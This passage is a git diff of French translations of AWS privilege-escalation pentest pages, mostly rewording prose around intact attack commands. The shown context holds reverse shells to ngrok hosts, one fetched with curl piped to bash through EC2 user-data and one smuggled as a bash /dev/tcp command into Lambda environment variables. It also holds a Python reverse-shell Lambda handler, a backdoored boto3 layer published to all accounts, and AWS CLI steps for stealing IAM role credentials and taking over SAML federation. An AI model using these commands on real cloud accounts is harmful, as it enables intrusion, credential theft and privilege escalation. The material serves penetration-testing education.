 curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id  --instance-type t2.micro \
 --count 1 \
 --user-data "file:///tmp/rev.sh"
 ```
-Soyez prudent avec GuradDuty si vous utilisez les identifiants du rôle IAM en dehors de l'instance :
+Faites attention avec GuradDuty si vous utilisez les identifiants du rôle IAM en dehors de l'instance :
 
 {{#ref}}
 ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -44,7 +44,7 @@ Soyez prudent avec GuradDuty si vous utilisez les identifiants du rôle IAM en d
 
 #### Privesc à ECS
 
-Avec cet ensemble de permissions, vous pourriez également **créer une instance EC2 et l'enregistrer dans un cluster ECS**. De cette manière, les **services** ECS seront **exécutés** à l'intérieur de l'**instance EC2** à laquelle vous avez accès, puis vous pourrez pénétrer ces services (conteneurs docker) et **voler leurs rôles ECS attachés**.
+Avec cet ensemble de permissions, vous pourriez également **créer une instance EC2 et l'enregistrer dans un cluster ECS**. De cette manière, les **services** ECS seront **exécutés** à l'intérieur de l'**instance EC2** à laquelle vous avez accès et vous pourrez alors pénétrer ces services (conteneurs docker) et **voler leurs rôles ECS attachés**.
 ```bash
 aws ec2 run-instances \
 --image-id ami-07fde2ae86109a2af \
@@ -90,7 +90,7 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins
 
 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
 
-Avec ces permissions, il est possible de changer le profil d'instance associé à une instance, donc si l'attaque avait déjà accès à une instance, il pourra voler des identifiants pour plus de rôles de profil d'instance en changeant celui qui lui est associé.
+Avec ces permissions, il est possible de changer le profil d'instance associé à une instance, donc si l'attaque avait déjà accès à une instance, il pourra voler des identifiants pour plus de rôles de profil d'instance en changeant celui qui y est associé.
 
 - S'il **a un profil d'instance**, vous pouvez **supprimer** le profil d'instance (`ec2:DisassociateIamInstanceProfile`) et **l'associer** \*
 ```bash
@@ -108,7 +108,7 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --policy file:///tmp/pol
 ```
 ### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
 
-Avec cette autorisation, un attaquant pourra **monter l'EFS**. Si l'autorisation d'écriture n'est pas accordée par défaut à tous ceux qui peuvent monter l'EFS, il n'aura que **l'accès en lecture**.
+Avec cette permission, un attaquant pourra **monter l'EFS**. Si la permission d'écriture n'est pas accordée par défaut à tous ceux qui peuvent monter l'EFS, il n'aura que **l'accès en lecture**.
 ```bash
 sudo mkdir /efs
 sudo mount -t efs -o tls,iam  :/ /efs/
 ```
-Les autorisations supplémentaires `elasticfilesystem:ClientRootAccess` et `elasticfilesystem:ClientWrite` peuvent être utilisées pour **écrire** à l'intérieur du système de fichiers après qu'il soit monté et pour **accéder** à ce système de fichiers **en tant que root**.
+Les autorisations supplémentaires `elasticfilesystem:ClientRootAccess` et `elasticfilesystem:ClientWrite` peuvent être utilisées pour **écrire** à l'intérieur du système de fichiers après qu'il ait été monté et pour **accéder** à ce système de fichiers **en tant que root**.
 
 **Impact potentiel :** Privesc indirect en localisant des informations sensibles dans le système de fichiers.
 
@@ -75,7 +75,7 @@ aws efs create-mount-target --file-system-id  \
 
 ### `elasticfilesystem:ModifyMountTargetSecurityGroups`
 
-Dans un scénario où un attaquant découvre que l'EFS a un point de montage dans son sous-réseau mais **aucun groupe de sécurité n'autorise le trafic**, il pourrait simplement **modifier cela en changeant les groupes de sécurité sélectionnés** :
+Dans un scénario où un attaquant découvre que l'EFS a un point de montage dans son sous-réseau mais **aucun groupe de sécurité n'autorise le trafic**, il pourrait simplement **changer cela en modifiant les groupes de sécurité sélectionnés** :
 ```bash
 aws efs modify-mount-target-security-groups \
 --mount-target-id  \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
index 0755973ea..682401650 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
@@ -13,7 +13,7 @@ Plus **d'infos sur Elastic Beanstalk** dans :
 > [!WARNING]
 > Pour effectuer des actions sensibles dans Beanstalk, vous aurez besoin d'avoir **beaucoup de permissions sensibles dans de nombreux services différents**. Vous pouvez vérifier par exemple les permissions accordées à **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
 
-### `elasticbeanstalk:RebuildEnvironment`, permissions d'écriture S3 & beaucoup d'autres
+### `elasticbeanstalk:RebuildEnvironment`, permissions d'écriture S3 et bien d'autres
 
 Avec **des permissions d'écriture sur le bucket S3** contenant le **code** de l'environnement et des permissions pour **reconstruire** l'application (il faut `elasticbeanstalk:RebuildEnvironment` et quelques autres liées à `S3`, `EC2` et `Cloudformation`), vous pouvez **modifier** le **code**, **reconstruire** l'application et la prochaine fois que vous accédez à l'application, elle **exécutera votre nouveau code**, permettant à l'attaquant de compromettre l'application et les identifiants de rôle IAM associés.
 ```bash
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
 {{#endtab }}
 {{#endtabs }}
 
-Une fois que vous avez **votre propre environnement Beanstalk en cours d'exécution** votre rev shell, il est temps de **le migrer** vers l'environnement des **victimes**. Pour ce faire, vous devez **mettre à jour la politique de bucket** de votre bucket S3 Beanstalk afin que la **victime puisse y accéder** (Notez que cela va **ouvrir** le bucket à **TOUS**):
+Une fois que vous avez **votre propre environnement Beanstalk en cours d'exécution** votre shell de réversion, il est temps de **le migrer** vers l'environnement des **victimes**. Pour ce faire, vous devez **mettre à jour la politique de bucket** de votre bucket S3 Beanstalk afin que la **victime puisse y accéder** (Notez que cela va **ouvrir** le bucket à **TOUS**):
 ```json
 {
 "Version": "2008-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
index 44c73fd8d..04c6e27e3 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
@@ -4,7 +4,7 @@
 
 ## EMR
 
-Plus **d'infos sur EMR** dans :
+Plus d'**info sur EMR** dans :
 
 {{#ref}}
 ../aws-services/aws-emr-enum.md
@@ -36,7 +36,7 @@ aws emr describe-cluster --cluster-id 
 # In MasterPublicDnsName you can find the DNS to connect to the master instance
 ## You cna also get this info listing EC2 instances
 ```
-Notez comment un **rôle EMR** est spécifié dans `--service-role` et un **rôle ec2** est spécifié dans `--ec2-attributes` à l'intérieur de `InstanceProfile`. Cependant, cette technique ne permet que de voler les identifiants du rôle EC2 (puisque vous vous connecterez via ssh) mais pas le rôle IAM EMR.
+Notez comment un **rôle EMR** est spécifié dans `--service-role` et un **rôle ec2** est spécifié dans `--ec2-attributes` à l'intérieur de `InstanceProfile`. Cependant, cette technique ne permet que de voler les identifiants de rôle EC2 (puisque vous vous connecterez via ssh) mais pas le rôle IAM EMR.
 
 **Impact potentiel :** Privesc au rôle de service EC2 spécifié.
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
index 892d94fb3..a4d0fa160 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
@@ -4,7 +4,7 @@
 
 ### `gamelift:RequestUploadCredentials`
 
-Avec cette autorisation, un attaquant peut récupérer un **nouveau jeu de credentials à utiliser lors du téléchargement** d'un nouvel ensemble de fichiers de construction de jeu vers Amazon GameLift's Amazon S3. Cela renverra des **credentials de téléchargement S3**.
+Avec cette autorisation, un attaquant peut récupérer un **nouveau jeu de credentials à utiliser lors du téléchargement** d'un nouvel ensemble de fichiers de construction de jeu vers Amazon GameLift's Amazon S3. Cela renverra **des credentials de téléchargement S3**.
 ```bash
 aws gamelift request-upload-credentials \
 --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
index dfe9e5df4..52d938869 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
@@ -8,7 +8,7 @@
 
 Les utilisateurs disposant de ces autorisations peuvent **configurer un nouveau point de terminaison de développement AWS Glue**, **en assignant un rôle de service existant pouvant être assumé par Glue** avec des autorisations spécifiques à ce point de terminaison.
 
-Après la configuration, l'**attaquant peut SSH dans l'instance du point de terminaison**, et voler les identifiants IAM du rôle assigné :
+Après la configuration, l'**attaquant peut se connecter en SSH à l'instance du point de terminaison**, et voler les identifiants IAM du rôle assigné :
 ```bash
 # Create endpoint
 aws glue create-dev-endpoint --endpoint-name  \
@@ -28,7 +28,7 @@ Pour des raisons de discrétion, il est recommandé d'utiliser les identifiants
 
 ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-Les utilisateurs disposant de cette autorisation peuvent **modifier la clé SSH d'un point de terminaison de développement Glue** existant, **permettant l'accès SSH à celui-ci**. Cela permet à l'attaquant d'exécuter des commandes avec les privilèges du rôle attaché au point de terminaison :
+Les utilisateurs ayant cette permission peuvent **modifier la clé SSH d'un** point de terminaison de développement Glue existant, **permettant l'accès SSH à celui-ci**. Cela permet à l'attaquant d'exécuter des commandes avec les privilèges du rôle attaché au point de terminaison :
 ```bash
 # Change public key to connect
 aws glue --endpoint-name target_endpoint \
@@ -75,7 +75,7 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \
 
 ### `glue:UpdateJob`
 
-Juste avec la permission de mise à jour, un attaquant pourrait voler les identifiants IAM du rôle déjà attaché.
+Avec simplement la permission de mise à jour, un attaquant pourrait voler les identifiants IAM du rôle déjà attaché.
 
 **Impact potentiel :** Privesc au rôle de service glue attaché.
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
index 5e043e807..16572120e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
@@ -33,7 +33,7 @@ aws iam set-default-policy-version --policy-arn  --version-id
 
 ### **`iam:CreateAccessKey`**
 
-Permet de créer un identifiant de clé d'accès et une clé d'accès secrète pour un autre utilisateur, ce qui peut entraîner une escalade de privilèges.
+Permet de créer un identifiant de clé d'accès et une clé d'accès secrète pour un autre utilisateur, ce qui peut entraîner une escalade de privilèges potentielle.
 
 **Exploit :**
 ```bash
@@ -65,7 +65,7 @@ Permet d'activer une clé d'accès désactivée, ce qui peut entraîner un accè
 ```bash
 aws iam update-access-key --access-key-id  --status Active --user-name 
 ```
-**Impact :** Escalade de privilèges directe en réactivant des clés d'accès.
+**Impact :** Escalade de privilèges directe en réactivant les clés d'accès.
 
 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
 
@@ -79,7 +79,7 @@ aws iam create-service-specific-credential --user-name  --service-name
 ```bash
 aws iam reset-service-specific-credential --service-specific-credential-id 
 ```
-**Impact :** Escalade directe des privilèges au sein des permissions de service de l'utilisateur.
+**Impact :** Escalade de privilèges directe au sein des permissions de service de l'utilisateur.
 
 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
 
@@ -137,7 +137,7 @@ Permet de s'ajouter à un groupe IAM, escaladant les privilèges en héritant de
 ```bash
 aws iam add-user-to-group --group-name  --user-name 
 ```
-**Impact :** Escalade directe des privilèges au niveau des permissions du groupe.
+**Impact :** Escalade de privilèges directe au niveau des permissions du groupe.
 
 ### **`iam:UpdateAssumeRolePolicy`**
 
@@ -148,7 +148,7 @@ Permet de modifier le document de politique d'assumption de rôle d'un rôle, pe
 aws iam update-assume-role-policy --role-name  \
 --policy-document file:///path/to/assume/role/policy.json
 ```
-Où la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la permission d'assumer le rôle :
+Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la permission d'assumer le rôle :
 ```json
 {
 "Version": "2012-10-17",
@@ -167,7 +167,7 @@ Où la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la perm
 
 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
 
-Permet de télécharger une clé publique SSH pour s'authentifier à CodeCommit et de désactiver les dispositifs MFA, ce qui peut entraîner une escalade de privilèges indirecte potentielle.
+Permet de télécharger une clé publique SSH pour s'authentifier à CodeCommit et de désactiver les dispositifs MFA, ce qui peut entraîner une escalade de privilèges indirecte.
 
 **Exploitation pour le téléchargement de la clé SSH :**
 ```bash
@@ -177,7 +177,7 @@ aws iam upload-ssh-public-key --user-name  --ssh-public-key-body  --serial-number 
 ```
-**Impact :** Escalade de privilèges indirecte en permettant l'accès à CodeCommit ou en désactivant la protection MFA.
+**Impact :** Escalade de privilèges indirecte en activant l'accès à CodeCommit ou en désactivant la protection MFA.
 
 ### **`iam:ResyncMFADevice`**
 
@@ -192,9 +192,9 @@ aws iam resync-mfa-device --user-name  --serial-number 
 
 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
 
-Avec ces autorisations, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **fédération SAML** pour **vous connecter** avec n'importe quel **rôle qui lui fait confiance**.
+Avec ces permissions, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **fédération SAML** pour **vous connecter** avec n'importe quel **rôle qui lui fait confiance**.
 
-Notez que faire cela **empêchera les utilisateurs légitimes de se connecter**. Cependant, vous pourriez obtenir le XML, donc vous pouvez mettre le vôtre, vous connecter et configurer le précédent.
+Notez qu'en faisant cela, **les utilisateurs légitimes ne pourront pas se connecter**. Cependant, vous pourriez obtenir le XML, afin de pouvoir mettre le vôtre, vous connecter et configurer le précédent.
 ```bash
 # List SAMLs
 aws iam list-saml-providers
@@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document  --saml-prov
 
 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
 
-(Pas sûr à ce sujet) Si un attaquant a ces **permissions**, il pourrait ajouter un nouveau **Thumbprint** pour réussir à se connecter à tous les rôles faisant confiance au fournisseur.
+(Si ce n'est pas sûr) Si un attaquant a ces **permissions**, il pourrait ajouter une nouvelle **empreinte digitale** pour réussir à se connecter à tous les rôles faisant confiance au fournisseur.
 ```bash
 # List providers
 aws iam list-open-id-connect-providers
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
index 7989bb081..0652711af 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
@@ -57,12 +57,12 @@ aws kms create-grant \
 --operations Decrypt
 ```
 > [!WARNING]
-> Un accord ne peut autoriser que certains types d'opérations : [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> Un grant ne peut autoriser que certains types d'opérations : [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
 
 > [!WARNING]
-> Notez qu'il peut falloir quelques minutes pour que KMS **permette à l'utilisateur d'utiliser la clé après que l'accord a été généré**. Une fois ce délai écoulé, le principal peut utiliser la clé KMS sans avoir besoin de spécifier quoi que ce soit.\
-> Cependant, s'il est nécessaire d'utiliser l'accord immédiatement [utilisez un jeton d'accord](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (voir le code suivant).\
-> Pour [**plus d'infos lisez ceci**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
+> Notez qu'il peut falloir quelques minutes pour que KMS **permette à l'utilisateur d'utiliser la clé après que le grant a été généré**. Une fois ce délai écoulé, le principal peut utiliser la clé KMS sans avoir besoin de spécifier quoi que ce soit.\
+> Cependant, s'il est nécessaire d'utiliser le grant immédiatement [utilisez un token de grant](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (voir le code suivant).\
+> Pour [**plus d'infos, lisez ceci**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
 ```bash
 # Use the grant token in a request
 aws kms generate-data-key \
@@ -70,7 +70,7 @@ aws kms generate-data-key \
 –-key-spec AES_256 \
 --grant-tokens $token
 ```
-Notez qu'il est possible de lister les attributions de clés avec :
+Notez qu'il est possible de lister les autorisations des clés avec :
 ```bash
 aws kms list-grants --key-id 
 ```
@@ -78,7 +78,7 @@ aws kms list-grants --key-id 
 
 Avec ces autorisations, il est possible de répliquer une clé KMS activée pour plusieurs régions dans une autre région avec une politique différente.
 
-Ainsi, un attaquant pourrait en abuser pour obtenir un accès privilégié à la clé et l'utiliser.
+Ainsi, un attaquant pourrait en abuser pour obtenir un privesc de son accès à la clé et l'utiliser.
 ```bash
 aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index ac8407654..4c4169160 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -12,11 +12,11 @@ Plus d'infos sur lambda dans :
 
 ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
 
-Les utilisateurs ayant les permissions **`iam:PassRole`, `lambda:CreateFunction`, et `lambda:InvokeFunction`** peuvent élever leurs privilèges.\
+Les utilisateurs avec les permissions **`iam:PassRole`, `lambda:CreateFunction`, et `lambda:InvokeFunction`** peuvent élever leurs privilèges.\
 Ils peuvent **créer une nouvelle fonction Lambda et lui attribuer un rôle IAM existant**, accordant à la fonction les permissions associées à ce rôle. L'utilisateur peut ensuite **écrire et télécharger du code sur cette fonction Lambda (avec un rev shell par exemple)**.\
 Une fois la fonction configurée, l'utilisateur peut **déclencher son exécution** et les actions prévues en invoquant la fonction Lambda via l'API AWS. Cette approche permet effectivement à l'utilisateur d'effectuer des tâches indirectement via la fonction Lambda, opérant avec le niveau d'accès accordé au rôle IAM qui lui est associé.\\
 
-Un attaquant pourrait abuser de cela pour obtenir un **rev shell et voler le token** :
+Un attaquant pourrait en abuser pour obtenir un **rev shell et voler le token** :
 ```python:rev.py
 import socket,subprocess,os,time
 def lambda_handler(event, context):
@@ -72,7 +72,7 @@ return {
 aws lambda invoke --function-name  output.txt
 cat output.txt
 ```
-**Impact potentiel :** Privesc direct vers le rôle de service lambda arbitraire spécifié.
+**Impact potentiel :** Privesc direct au rôle de service lambda arbitraire spécifié.
 
 > [!CAUTION]
 > Notez que même si cela peut sembler intéressant, **`lambda:InvokeAsync`** **ne** permet pas à lui seul d'**exécuter `aws lambda invoke-async`**, vous avez également besoin de `lambda:InvokeFunction`
@@ -99,7 +99,7 @@ aws lambda create-function --function-name my_function \
 --handler lambda_function.lambda_handler \
 --zip-file fileb://rev.zip
 ```
-Si DynamoDB est déjà actif dans l'environnement AWS, l'utilisateur **doit seulement établir le mappage de la source d'événements** pour la fonction Lambda. Cependant, si DynamoDB n'est pas utilisé, l'utilisateur doit **créer une nouvelle table** avec le streaming activé :
+Si DynamoDB est déjà actif dans l'environnement AWS, l'utilisateur **doit simplement établir le mappage de la source d'événements** pour la fonction Lambda. Cependant, si DynamoDB n'est pas utilisé, l'utilisateur doit **créer une nouvelle table** avec le streaming activé :
 ```bash
 aws dynamodb create-table --table-name my_table \
 --attribute-definitions AttributeName=Test,AttributeType=S \
@@ -163,7 +163,7 @@ aws lambda invoke --function-name my_function output.txt
 
 #### RCE via variables d'environnement
 
-Avec ces permissions, il est possible d'ajouter des variables d'environnement qui feront exécuter du code arbitraire par la Lambda. Par exemple, en python, il est possible d'abuser des variables d'environnement `PYTHONWARNING` et `BROWSER` pour faire exécuter des commandes arbitraires par un processus python :
+Avec ces permissions, il est possible d'ajouter des variables d'environnement qui feront en sorte que la Lambda exécute du code arbitraire. Par exemple, en python, il est possible d'abuser des variables d'environnement `PYTHONWARNING` et `BROWSER` pour faire exécuter des commandes arbitraires à un processus python :
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name  --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
@@ -175,7 +175,7 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat
 
 #### RCE via Lambda Layers
 
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permet d'inclure **du code** dans votre fonction lambda mais **de l'enregistrer séparément**, de sorte que le code de la fonction puisse rester petit et que **plusieurs fonctions puissent partager du code**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permet d'inclure **du code** dans votre fonction lambda tout en **le stockant séparément**, de sorte que le code de la fonction puisse rester petit et que **plusieurs fonctions puissent partager du code**.
 
 À l'intérieur de lambda, vous pouvez vérifier les chemins à partir desquels le code python est chargé avec une fonction comme suit :
 ```python
@@ -210,12 +210,12 @@ pip3 install -t ./lambda_layer boto3
 ```
 Vous pouvez ouvrir `./lambda_layer/boto3/__init__.py` et **ajouter la porte dérobée dans le code global** (une fonction pour exfiltrer des identifiants ou obtenir un shell inversé par exemple).
 
-Ensuite, zippez ce répertoire `./lambda_layer` et **téléchargez la nouvelle couche lambda** dans votre propre compte (ou dans celui des victimes, mais vous n'aurez peut-être pas les autorisations pour cela).\
-Notez que vous devez créer un dossier python et y mettre les bibliothèques pour remplacer /opt/python/boto3. De plus, la couche doit être **compatible avec la version python** utilisée par la lambda et si vous la téléchargez dans votre compte, elle doit être dans la **même région :**
+Ensuite, zippez ce répertoire `./lambda_layer` et **téléchargez le nouveau layer lambda** dans votre propre compte (ou dans celui des victimes, mais vous n'aurez peut-être pas les autorisations pour cela).\
+Notez que vous devez créer un dossier python et y mettre les bibliothèques pour remplacer /opt/python/boto3. De plus, le layer doit être **compatible avec la version de python** utilisée par le lambda et si vous le téléchargez dans votre compte, il doit être dans la **même région :**
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
-Maintenant, rendez la couche lambda téléchargée **accessible par n'importe quel compte** :
+Maintenant, rendez la couche lambda **accessible par n'importe quel compte** :
 ```bash
 aws lambda add-layer-version-permission --layer-name boto3 \
 --version-number 1 --statement-id public \
@@ -228,7 +228,7 @@ aws lambda update-function-configuration \
 --layers arn:aws:lambda:::layer:boto3:1 \
 --timeout 300 #5min for rev shells
 ```
-La prochaine étape serait soit de **invoquer la fonction** nous-mêmes si nous le pouvons, soit d'attendre qu'elle **soit invoquée** par des moyens normaux – ce qui est la méthode la plus sûre.
+L'étape suivante serait soit de **invoquer la fonction** nous-mêmes si nous le pouvons, soit d'attendre qu'elle **soit invoquée** par des moyens normaux – ce qui est la méthode la plus sûre.
 
 Une **manière plus discrète d'exploiter cette vulnérabilité** peut être trouvée dans :
 
@@ -240,7 +240,7 @@ Une **manière plus discrète d'exploiter cette vulnérabilité** peut être tro
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
 
-Peut-être qu'avec ces permissions, vous êtes capable de créer une fonction et de l'exécuter en appelant l'URL... mais je n'ai pas trouvé de moyen de le tester, donc faites-le moi savoir si vous le faites !
+Peut-être qu'avec ces permissions, vous êtes capable de créer une fonction et de l'exécuter en appelant l'URL... mais je n'ai pas trouvé de moyen de le tester, donc faites-moi savoir si vous le faites !
 
 ### Lambda MitM
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
index 356426ade..c867b0119 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
@@ -31,7 +31,7 @@ aws lightsail get-instance-access-details --instance-name 
 
 ### `lightsail:CreateBucketAccessKey`
 
-Cette permission vous permettra d'obtenir une clé pour accéder au bucket :
+Cette autorisation vous permettra d'obtenir une clé pour accéder au bucket :
 ```bash
 aws lightsail create-bucket-access-key --bucket-name 
 ```
@@ -59,7 +59,7 @@ aws lightsail update-relational-database --relational-database-name  --pub
 
 ### `lightsail:OpenInstancePublicPorts`
 
-Cette permission permet d'ouvrir des ports vers Internet.
+Cette autorisation permet d'ouvrir des ports vers Internet.
 ```bash
 aws lightsail open-instance-public-ports \
 --instance-name MEAN-2 \
@@ -69,7 +69,7 @@ aws lightsail open-instance-public-ports \
 
 ### `lightsail:PutInstancePublicPorts`
 
-Cette autorisation permet d'ouvrir des ports vers Internet. Notez que l'appel fermera tout port ouvert qui n'est pas spécifié.
+Cette autorisation permet d'ouvrir des ports sur Internet. Notez que l'appel fermera tout port ouvert qui n'est pas spécifié.
 ```bash
 aws lightsail put-instance-public-ports \
 --instance-name MEAN-2 \
@@ -79,18 +79,18 @@ aws lightsail put-instance-public-ports \
 
 ### `lightsail:SetResourceAccessForBucket`
 
-Cette permission permet de donner à une instance l'accès à un bucket sans aucune autre information d'identification.
+Cette autorisation permet de donner à une instance l'accès à un bucket sans aucune autre information d'identification.
 ```bash
 aws set-resource-access-for-bucket \
 --resource-name  \
 --bucket-name  \
 --access allow
 ```
-**Impact potentiel :** Accès potentiel à de nouveaux buckets contenant des informations sensibles.
+**Impact potentiel :** Accès potentiel nouveau à des buckets contenant des informations sensibles.
 
 ### `lightsail:UpdateBucket`
 
-Avec cette autorisation, un attaquant pourrait accorder à son propre compte AWS un accès en lecture sur des buckets ou même rendre les buckets publics pour tout le monde :
+Avec cette permission, un attaquant pourrait accorder à son propre compte AWS un accès en lecture sur des buckets ou même rendre les buckets publics pour tout le monde :
 ```bash
 # Grant read access to exterenal account
 aws update-bucket --bucket-name  --readonly-access-accounts 
@@ -105,7 +105,7 @@ aws update-bucket --bucket-name  --access-rules getObject=private,allowPu
 
 ### `lightsail:UpdateContainerService`
 
-Avec ces permissions, un attaquant pourrait accorder l'accès à des ECR privés depuis le service de conteneurs.
+Avec ces autorisations, un attaquant pourrait accorder l'accès à des ECR privés depuis le service de conteneurs.
 ```bash
 aws update-container-service \
 --service-name  \
@@ -131,6 +131,6 @@ aws lightsail update-domain-entry \
 --domain-name example.com \
 --domain-entry name=dev.example.com,type=A,target=192.0.2.0
 ```
-**Impact potentiel :** Prendre le contrôle d'un domaine
+**Impact potentiel :** Prise de contrôle d'un domaine
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
index 1b7e67776..97e7761e9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
@@ -21,7 +21,7 @@ aws mq create-user --broker-id  --console-access --password  --use
 
 ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
 
-Avec ces autorisations, vous pouvez **créer un nouvel utilisateur dans un broker ActiveMQ** (cela ne fonctionne pas dans RabbitMQ) :
+Avec ces permissions, vous pouvez **créer un nouvel utilisateur dans un broker ActimeMQ** (cela ne fonctionne pas dans RabbitMQ) :
 ```bash
 aws mq list-brokers
 aws mq list-users --broker-id 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
index cc4268f48..9ea8c9024 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
@@ -16,7 +16,7 @@ Avec ces **privilèges** et **l'accès au VPC où se trouvent les brokers kafka*
 ```bash
 aws msk --client-authentication  --cluster-arn  --current-version 
 ```
